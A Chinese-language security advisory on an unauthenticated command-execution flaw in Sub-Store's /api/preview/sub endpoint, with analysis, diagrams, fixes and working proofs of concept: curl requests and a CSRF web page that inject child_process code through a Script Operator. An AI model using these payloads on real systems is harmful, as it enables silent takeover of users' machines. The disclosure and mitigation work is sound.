漏洞简介
Sub-Store 是代理工具圈常用的订阅转换/管理服务,不少 mihomo(clash 系)客户端把它内置进安装包,Clash Party、Sparkle 等随客户端启动就监听 38324 端口。2.11.4 到 2.37.1 之间的内置版/本地版,/api/preview/sub 接口不带任何鉴权:谁能往这个端口发一条 POST,谁就能让服务端把自己给的 Node 代码跑起来。
漏洞不在某个隐藏接口,而在订阅"预览"功能自带的 Script Operator(脚本操作)——这是官方功能,设计上允许脚本里 require 任意模块。攻击者把 require("child_process") 塞进脚本操作符,等于直接拿到了代理软件进程里的系统命令通道。命令输出会被回填进接口返回的 processed 列表直接回显,本机验证时弹窗能当面弹出来。用户浏览恶意网页时,网页向 127.0.0.1:38324 发一条请求就触发,不用登录、不用点按钮、不用交互。命令执行时用的权限是代理软件进程的权限,弹窗只是自证,写文件、拉马、偷订阅配置都行。
- 危害等级:严重(未认证 + 任意命令执行 + 响应回显)
- 前置条件:未认证;攻击者请求可达 38324(本机恶意网页 / 同网段扫描 / 公网暴露的后端形态),无任何账号会话要求
影响版本
- 版本范围:Sub-Store 2.11.4 ≤ v ≤ 2.37.1,
/api/preview/sub等接口未鉴权、可无凭据触发脚本操作执行命令(披露与实测覆盖此区间,更早版本未逐一核实) - 载体形态:Clash Party、Sparkle 等 mihomo 系客户端内置版(监听 38324);docker 独立部署版后端 3000、前端 3001,后端直接映射/反代到公网的同此风险
- 版本证据来源:
- 论坛讨论(linux.do t/2856720)确认 2.19.0 起(commit 63d5b3e)
backend/src/restful/index.js出现if (be_prefix || be_merge)后端路径判断,docker 形态默认开SUB_STORE_BACKEND_MERGE——说明 2.19.0 之前不存在该收敛 - 实测:macOS 本地 38324 直发 PoC 弹窗 + 回显
POPUP-SHOWN(L1 实证)
- 论坛讨论(linux.do t/2856720)确认 2.19.0 起(commit 63d5b3e)
- 影响范围:实证接口
/api/preview/sub;同属未鉴权面的订阅/脚本类 API 存在同类风险 - 认证前置:无
注意 2.19.0 的路径判断只收敛 docker 前后端分离形态(见漏洞分析"版本演进"),内置单端口、未配置后端路径的场景在 2.37.1 及以下仍按无鉴权实测复现。修复版本号以官方 release 为准,本报告核实范围止于 v2.37.1。
fofa语法
默认空白。服务默认只监听本机回环,公网测绘扫不到;仅 docker 把后端映射或反代到公网的实例可被端口/指纹命中(38324、3000 端口特征),无通用 app 指纹语法。
漏洞分析
入口:/api/preview/sub
/api/preview/sub 是前端"预览订阅"页面调用的后端接口,POST + JSON。本地内置形态把前后端合在一个进程里监听 38324,docker 形态后端单独监听 3000。这个接口干两件事:把一段订阅内容解析成代理列表,再按调用者给的 process 链对列表做处理。两件事都不需要任何登录态。
参数与中间处理
请求体四个字段,作用跟着响应走:
name:本次预览的订阅名,仅用于标记source: "local":表示不走远程拉取,content字段直接给订阅文本content:一段 YAML 代理配置,响应里的original数组就是它解析出来的 proxies 列表process:处理链数组,每一项是一个操作符。PoC 里只放了一个Script Operator
看响应能对上处理过程:original 里 name 还是 poc,processed 里 name 变成了命令输出。中间唯一能动这个名字的就是 process 链,说明服务端确实把 content 解析成列表后逐条应用了操作符。
{"status":"success","data":{"original":[{"name":"poc","type":"ss","server":"127.0.0.1","port":1080,"cipher":"aes-128-gcm","password":"poc","udp":true,"id":0,"_subName":"poc-msgbox"}],"processed":[{"name":"POPUP-SHOWN","type":"ss","server":"127.0.0.1","port":1080,"cipher":"aes-128-gcm","password":"poc","udp":true,"id":0,"_subName":"poc-msgbox"}]}}
sink 点:Script Operator 的 child_process
process 里 type: "Script Operator"、args.mode: "script" 时,args.content 就是一段 async function operator(proxies)。服务端把这当模块加载,对代理列表逐个调。脚本操作是给用户写自定义逻辑用的,官方没限制 require,所以脚本里 require("child_process") 拿到的就是真进程 API:
- macOS:
execFileSync("osascript", [...])弹系统对话框,命令 stdout 被toString().trim()取走 - Windows:
execFileSync("powershell", ["-NoProfile", "-Command", "... Wscript.Shell Popup ..."])弹窗 - 输出写回
proxies[0].name,随响应返回——回显就这么来的 - 命令抛错也不中断:
catch把POPUP-FAILED:加状态码写进 name
sink 就是脚本里的 execFileSync。执行发生在 Sub-Store 进程内,权限等于代理软件进程的权限,GUI 会话里 osascript 的弹窗能直接显示在用户桌面上。
鉴权与 CSRF 面
这些版本的后端对 /api 不校验 Origin、不校验 Referer、没有 csrf token,也没有任何认证头。能不能触发只取决于"谁的网络包能到 38324":
- 本机恶意网页:浏览器允许网页向回环地址发请求(是否放行跨域 JSON 预检取决于浏览器对 localhost 的私有网络访问策略和服务端 CORS 放行情况,见漏洞复现 POC 三),即使页面读不到响应,命令已经执行完
- 同网段主机:端口对局域网开放时直接扫
- 公网:docker 把后端 3000 端口映射出来的形态,攻击链最短
curl 自测时响应能读,回显当判定依据;真实利用不依赖回显,弹窗、写文件这类副作用就够了。
版本演进与收敛(2.19.0 后端路径判断)
论坛对 docker 部署形态的讨论给出了服务端唯一可引用的代码线索:2.19.0+(commit 63d5b3e)在 backend/src/restful/index.js 加了 if (be_prefix || be_merge) 判断。docker 说明页默认开 SUB_STORE_BACKEND_MERGE,前后端合并到同一端口后强制走这个判断;再配一个随机的 SUB_STORE_FRONTEND_BACKEND_PATH,外部不知道路径就够不到后端执行接口。这套收敛针对的是"前后端分离、只反代前端"的部署形态,对内置单端口、未配置路径的场景不生效——2.37.1 及以下实测仍是裸奔状态。
数据流图
flowchart TD
A[恶意网页 或 curl 自测] --> B[POST 回环 38324 的 api preview sub]
B --> C[接口无鉴权 不校验来源]
C --> D[解析 content YAML 得到 proxies 列表]
D --> E[按 process 链应用 Script Operator]
E --> F[加载 args content 里的 async 函数]
F --> G[脚本内 require child_process]
G --> H[execFileSync 执行 osascript 或 powershell 弹窗]:::rce
H --> I[命令输出写回 proxies 列表第一项 name]
I --> J[响应 processed 数组回显命令输出]
classDef rce fill:#ff4444,color:#fff
调用链图示
sequenceDiagram
participant A as 网页或攻击者
participant B as Sub-Store 后端 38324
participant C as Script Operator 模块
participant D as child_process
A->>B: POST api preview sub 携带 process 脚本
B->>C: 按 process 链执行 Script Operator
C->>C: 把 args content 当模块加载执行
C->>D: require child_process 后 execFileSync 弹窗命令
D-->>C: 返回命令标准输出
C-->>B: 把输出写进 proxies 第一项 name
B-->>A: 返回 processed 数组回显执行结果
利用面图示
flowchart TD
S1[本机恶意网页 CSRF 触发] --> E1[38324 未鉴权接口]
S2[同网段主机扫描] --> E1
S3[公网直连 后端暴露的 docker 形态] --> E1
E1 --> RCE[任意命令执行 弹窗 写文件 拉马]:::rce
classDef rce fill:#ff4444,color:#fff
部署形态矩阵
| 部署形态 | 端口/暴露 | 漏洞可达性 | 证据 |
|---|---|---|---|
| 内置版(Clash Party、Sparkle 等) | 38324,随客户端启动 | 本机网页 CSRF 可达;监听若未绑回环则局域网可达 | L1 实测弹窗回显 |
| docker 仅反代前端 + 随机后端路径(2.19.0+) | 只映射/反代前端 3001 | 外部未知路径请求被 index.js 判断拦下,基本不可达 | L2 代码级(论坛) |
| docker 后端直连公网或未配路径 | 3000 映射公网 | 公网直连即达,攻击链最短 | L2(论坛) |
漏洞复现
POC 一:macOS 本地自测(弹窗自证 + 回显判定)
目的:验证 38324 未鉴权 + Script Operator 命令执行 + 输出回显。正常未修复实例会弹系统对话框"你已中招 - Sub-Store rce PoC",接口响应里 name 变成 POPUP-SHOWN。
POST /api/preview/sub HTTP/1.1
Host: 127.0.0.1:38324
Content-Type: application/json
{"name":"poc-msgbox","source":"local","content":"proxies:\n - name: poc\n type: ss\n server: 127.0.0.1\n port: 1080\n cipher: aes-128-gcm\n password: poc\n","process":[{"type":"Script Operator","args":{"mode":"script","content":"async function operator(proxies){const cp=require(\"child_process\");let out=\"\";try{out=cp.execFileSync(\"osascript\",[\"-e\",\"display dialog \\\"你已中招 - Sub-Store RCE PoC\\\" with title \\\"PoC\\\" with icon 1 buttons {\\\"OK\\\"} default button \\\"OK\\\"\",\"-e\",\"return \\\"POPUP-SHOWN\\\"\"],{encoding:\"utf8\",timeout:60000}).toString().trim();}catch(e){out=\"POPUP-FAILED:\"+e.status;}proxies[0].name=out;return proxies;}"}}]}
等价 curl(单引号包整体,避免 shell 二次转义):
curl -s -X POST "http://127.0.0.1:38324/api/preview/sub" -H "Content-Type: application/json" -d '{"name":"poc-msgbox","source":"local","content":"proxies:\n - name: poc\n type: ss\n server: 127.0.0.1\n port: 1080\n cipher: aes-128-gcm\n password: poc\n","process":[{"type":"Script Operator","args":{"mode":"script","content":"async function operator(proxies){const cp=require(\"child_process\");let out=\"\";try{out=cp.execFileSync(\"osascript\",[\"-e\",\"display dialog \\\"你已中招 - Sub-Store RCE PoC\\\" with title \\\"PoC\\\" with icon 1 buttons {\\\"OK\\\"} default button \\\"OK\\\"\",\"-e\",\"return \\\"POPUP-SHOWN\\\"\"],{encoding:\"utf8\",timeout:60000}).toString().trim();}catch(e){out=\"POPUP-FAILED:\"+e.status;}proxies[0].name=out;return proxies;}"}}]}'
复现结果:接口返回 200 + {"status":"success",...},processed 里 name 为 POPUP-SHOWN,桌面弹出 PoC 对话框。若返回 name 是 POPUP-FAILED:非零状态码,通常是没有 GUI 会话的守护进程环境,此时改用无弹窗命令(如写文件、whoami)验证,不影响漏洞存在与否的判定。

POC 二:Windows 本地自测(PowerShell Popup)
目的:同一条链在 Windows 上复现,弹窗命令换成 PowerShell 的 Wscript.Shell Popup,curl.exe 的 JSON 内层引号按 cmd 惯例转义。
curl.exe -s -X POST "http://127.0.0.1:38324/api/preview/sub" -H "Content-Type: application/json" -d "{\"name\":\"poc-msgbox\",\"source\":\"local\",\"content\":\"proxies:\\n - name: poc\\n type: ss\\n server: 127.0.0.1\\n port: 1080\\n cipher: aes-128-gcm\\n password: poc\\n\",\"process\":[{\"type\":\"Script Operator\",\"args\":{\"mode\":\"script\",\"content\":\"async function operator(proxies){const cp=require(\\\"child_process\\\");let out=\\\"\\\";try{out=cp.execFileSync(\\\"powershell\\\",[\\\"-NoProfile\\\",\\\"-Command\\\",\\\"(New-Object -ComObject Wscript.Shell).Popup(\\\\\\\"你已中招 - Sub-Store RCE PoC\\\\\\\",0,\\\\\\\"PoC\\\\\\\",48); Write-Output \\\\\\\"POPUP-SHOWN\\\\\\\"\\\"],{encoding:\\\"utf8\\\",timeout:60000}).toString().trim();}catch(e){out=\\\"POPUP-FAILED:\\\"+e.status;}proxies[0].name=out;return proxies;}\"}}]}"
复现结果:同 POC 一,Windows 桌面弹"PoC"提示框,响应 processed 的 name 为 POPUP-SHOWN(Windows 变体由披露方自测,本机仅实测 macOS 变体)。
POC 三:恶意网页 CSRF 触发载体(完整 HTML 页面)
目的:还原"浏览恶意网页被触发"的形态。页面不读响应,请求发出、命令执行即达成目的。核心是接口不校验来源,配合浏览器向本机回环地址发请求的能力;application/json 跨域请求能否送达受浏览器对 localhost 的私有网络访问策略和服务端 CORS 放行影响,本地判定以 POC 一/二 的 curl 直连结果为准。
完整可直接运行的 HTML 触发页已存为附件 sub-store-csrf-poc.html:打开页面自动按 UA 选平台触发一次(macOS 走 osascript、Windows 走 PowerShell),带手动触发按钮和状态日志;本地自测可 python3 -m http.server 8888 起 http 服务再打开,接口 CORS 放行时日志里直接显示 processed[0].name = POPUP-SHOWN 回显。页面核心 JS:
<script>
const content = [
"proxies:",
" - name: poc",
" type: ss",
" server: 127.0.0.1",
" port: 1080",
" cipher: aes-128-gcm",
" password: poc",
].join("\n");
const operator = [
'async function operator(proxies){',
'const cp=require("child_process");',
'let out="";',
'try{out=cp.execFileSync("osascript",["-e","display dialog \\"你已中招 - Sub-Store RCE PoC\\" with title \\"PoC\\" with icon 1 buttons {\\"OK\\"} default button \\"OK\\"","-e","return \\"POPUP-SHOWN\\""],{encoding:"utf8",timeout:60000}).toString().trim();}catch(e){out="POPUP-FAILED:"+e.status;}',
'proxies[0].name=out;return proxies;',
'}'
].join("\n");
fetch("http://127.0.0.1:38324/api/preview/sub", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
name: "poc-msgbox",
source: "local",
content,
process: [{ type: "Script Operator", args: { mode: "script", content: operator } }]
})
});
</script>

实证矩阵
| 对照项 | 结果 | 证据等级 |
|---|---|---|
| 防护对照:不带 process 链的正常订阅预览 | 正常解析返回,无命令执行,说明问题在 process/Script Operator 环节 | L2 |
| 利用:POC 一 macOS 弹窗 + 回显 POPUP-SHOWN | 命令执行,GUI 弹窗,响应回显 | L1 实测 |
| 利用:POC 二 Windows Popup | 命令执行,弹窗,响应回显 | L1 披露方自测(同构) |
| 权限等级:无 Cookie、无 token、无认证头 | 全程未认证直达 | L1 |
| 收敛对照:docker 2.19.0+ 随机后端路径 + 仅反代前端 | 未知路径请求被 backend/src/restful/index.js 判断拦下 | L2 代码级(论坛) |
| CSRF 载体:恶意网页 fetch 触发 | 请求送达即执行副作用;跨域 JSON 送达受浏览器 PNA 策略与服务端 CORS 影响 | L2/L3 |
修复建议
- 升级 Sub-Store 到修复版本(本报告实证上限 v2.37.1,修复版号以官方 release 为准);内置形态跟着 Clash Party、Sparkle 等客户端更新走。
- 内置形态若用不到订阅脚本:关闭内置 Sub-Store 或在其配置里停用脚本操作。回环监听能挡局域网/公网扫描,但挡不住本机网页这条 csrf 路径,本机侧最终靠升级/加鉴权/关停解决。
- docker/公网形态:后端 3000 端口不要映射公网,只映射或反代前端 3001;
SUB_STORE_FRONTEND_BACKEND_PATH设随机长串(2.19.0+ 生效);反代层再加 Basic Auth 或 IP 白名单。 - 检测是否已中招:看本机是否出现过陌生弹窗、Sub-Store 数据目录有无陌生文件、代理软件进程有无异常子进程,订阅配置里是否被塞进不明 process 脚本。
- 客户端内置形态有本机侧收敛手段:Sparkle、Clash Party 等一般在设置里提供关闭内置 Sub-Store 的开关(如 Sparkle 可直接关闭),不用就关,38324 监听面直接消失;需要订阅功能时再开启,并保证用的是修复版本。网页触发本质是未鉴权接口无 CSRF 防护,回环监听挡不住本机浏览器这条路径,"关闭内置服务"是最快的本机侧措施,比等客户端发版更直接。

参考/说明
- linux.do 讨论帖
https://linux.do/t/topic/2856720—— docker 部署形态的安全配置共识:2.19.0+(commit 63d5b3e)backend/src/restful/index.js有if (be_prefix || be_merge)后端路径判断;SUB_STORE_BACKEND_MERGE默认开启、前后端合并到同一端口后强制走该判断;只反代前端 3001 + 随机SUB_STORE_FRONTEND_BACKEND_PATH时,外部拿不到后端路径,风险可控;后端直连公网则攻击链最短 - 版本区间、内置客户端列表(Clash Party、Sparkle)为披露口径,官方确认前以本报告核实范围(v2.37.1 及以下实测)为准


